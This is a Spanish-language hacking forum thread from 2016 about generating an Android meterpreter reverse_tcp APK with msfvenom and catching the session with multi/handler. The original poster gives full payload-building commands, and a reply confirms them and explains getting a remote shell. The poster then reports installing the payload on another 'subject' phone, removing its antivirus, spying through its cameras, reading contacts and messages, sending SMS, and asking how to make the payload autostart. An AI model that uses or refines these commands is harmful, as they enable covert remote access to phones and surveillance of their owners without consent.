elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  problema con payload en android
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema con payload en android  (Leído 11,724 veces)
hckcrck

Desconectado Desconectado

Mensajes: 114



Ver Perfil WWW
problema con payload en android
« en: 26 Junio 2016, 16:02 pm »

Hola a todos, tengo un problema al instalar un payload en un teléfono android, he generado al payload con msfvenom y no se si lo he hecho de la forma correcta, dejo el comando:
Código:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.167 LPORT=53 R > ANDROID3.apk

También le he añadido:
Código:
msfvenom --platform android -p android/meterpreter/reverse_tcp LHOST=192.168.43.167 LPORT=53 R > ANDROID3.apk
Me salen algunas cosas sin rellenar,
Código:
No Arch selected, selecting Arch: dalvik from the payload                                                                                            
No encoder or badchars specified, outputting raw payload  
pero en un tutorial que he visto le vasta con el primer comando para crear una sell remota.
Este es el proceso:
Msfvenom genera el payload con la extensión .apk, lo paso a  un soy experia tipo (reliquia :laugh:) y pongo handler en escucha, cuando voy a instalar el archivo .apk me sale el instalador, muestra los permisos, le doy a aceptar y sale como si se instalase, pero dice "la aplicación no está instalada" y sale de la instalación sin que el handler pille nada.

Que puedo estar haciendo mal? Lo mas seguro es que sea lo que me advierte el propio msfvenom, pero en el tutorial no tenían ningún problema sin esos comandos.
« Última modificación: 26 Junio 2016, 16:05 pm por hckcrck » En línea

Para seguir la senda:

*observa al maestro,
sigue al maestro,
camina con el maestro,
ve a través del maestro,
conviértete en el maestro.

https://www.youtube.com/watch?v=08dphYPKLyE
GreenArrow77

Desconectado Desconectado

Mensajes: 13


https://www.youtube.com/watch?v=IlY9C6pzxKc


Ver Perfil WWW
Re: problema con payload en android
« Respuesta #1 en: 26 Junio 2016, 18:12 pm »

hola,
por lo que tengo entendido, tu quieres conseguir una shell remota infectando a un android con un payload que generas con msfvenom (que el comando que yo he visto esta bien, por tanto intuyo que la aplicación/payload se crea correctamente), y luego, pones a la escucha (con el comando "use multi/handler") y si has puesto bien los puertos y todo, pues te agarrará una meterpreter, pues tu lo que quieres es a  traves de la meterpreter conseguir una shell remota?
si es eso solo tienes que escirbir en la meterpreter el comando "shell", y ya esta, navegas por el android  victima con comandos linux y ya esta.

ahora bien, si ese no es es problema, entonces es con el msfvenom, cuando creas el payload?

un saludo y a ver si lo solucionamos -by secu


posdata:

el comando: "msfvenom --platform android -p android/meterpreter/reverse_tcp LHOST=192.168.43.167 LPORT=53 R > ANDROID3.apk" pienso que esta mal, ya que añades la plataforma dos veces, la correcta sería:

"msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.... lport=4444 R> /root/Escritorio/payload.apk"
« Última modificación: 26 Junio 2016, 18:15 pm por GreenArrow77 » En línea

~La única lucha que se pierde es la que se abandona.- E."Che" Guevara~
hckcrck

Desconectado Desconectado

Mensajes: 114



Ver Perfil WWW
Re: problema con payload en android
« Respuesta #2 en: 27 Junio 2016, 21:02 pm »

Hola gracias por responder,
Citar
el comando: "msfvenom --platform android -p android/meterpreter/reverse_tcp LHOST=192.168.43.167 LPORT=53 R > ANDROID3.apk" pienso que esta mal, ya que añades la plataforma dos veces

Jajaja me lo figuraba, pero soy bastante nuevo y al ver que no me funcionaba, decidí probar mas cosas a ver que pasaba, no he conseguido solucionar el problema, pero si se "cual" es, y eso me preocupa, veréis porque
El problema no es el payload o msfvenom, es el teléfono, busqué en google, y resulta que surge cuando en el teléfono hay otra aplicación con el mismo certificado, por ejemplo si quieres instalar una versión posterior de una app y tienes la antigua todavía instalada en el teléfono. De modo que decidí probar con otro "sujeto", y conseguí instalarla  ;-), algo que me decepcionó bastante fue que lo detectaron todos los antivirus  :rolleyes: tuve que desinstalarlos todos, después todo fue bien, conseguí una shell remota y aunque no conseguí escalar privilegios, si pude hacer algunas cosillas que me dejaron sorprendido  :D, ver por las dos camaras (lo único que cada imagen que me manda hace sonar "clic" de la cámara, muy discreto no es :xD), enviar sms, ver los contactos sus mensajes y mas  ;D
Aquí viene la parte que me preocupa, el error de "la aplicación no esta instalada" me salió en el nuevo teléfono varias veces, ya que le instalé mas de un payload, quería conseguir conectarme a el fuera de lan (conseguido  :)), pero en el primer teléfono por que sale? es la primera vez que instalo un payload en el  :o puede ser que alguien lo aya hecho antes que yo?

Aprovecharé el tema para plantear otra duda, de vez en cuando pierdo la conexión con la shell remota, y me cierra la sesión, es un fastidio tener que volver a ponerlo a la escucha cada vez que ocurre, no sería mucho problema si no fuera por que no consigo que el payload se inicie automáticamente, cada vez que quiero conectarme tengo que pulsar el icono de la app, no hay ninguna forma de hacer que el payload se inicie solo y no tener que hacerlo?

Agradezco cualquier ayuda, gracias.
En línea

Para seguir la senda:

*observa al maestro,
sigue al maestro,
camina con el maestro,
ve a través del maestro,
conviértete en el maestro.

https://www.youtube.com/watch?v=08dphYPKLyE
OscarXirau

Desconectado Desconectado

Mensajes: 3



Ver Perfil
Re: problema con payload en android
« Respuesta #3 en: 16 Diciembre 2016, 17:28 pm »

http://null-byte.wonderhowto.com/forum/create-and-use-android-meterpreter-reverse-tcp-apk-with-msfvenom-0162921/
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
error en payload android/meterpreter/reverse_tcp
Bugs y Exploits
log015 1 5,442 Último mensaje 11 Enero 2018, 01:38 am
por ronluas
Cómo crear un payload tcp reverse android
Hacking
FAV_1994 0 2,803 Último mensaje 13 Mayo 2018, 00:39 am
por FAV_1994
msfvenom/ android payload no started
Dudas Generales
sinpianwlr 4 3,817 Último mensaje 29 Julio 2018, 09:09 am
por animanegra
MSFVENOM/ android/payload/reverse_tcp
Hacking
sinpianwlr 1 4,250 Último mensaje 29 Julio 2018, 13:22 pm
por CybeRoot
PAYLOAD ANDROID EN VERCIONES RECIENTES ANDROID
Análisis y Diseño de Malware
irvingdesde 3 10,939 Último mensaje 12 Agosto 2023, 00:24 am
por irvingdesde
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines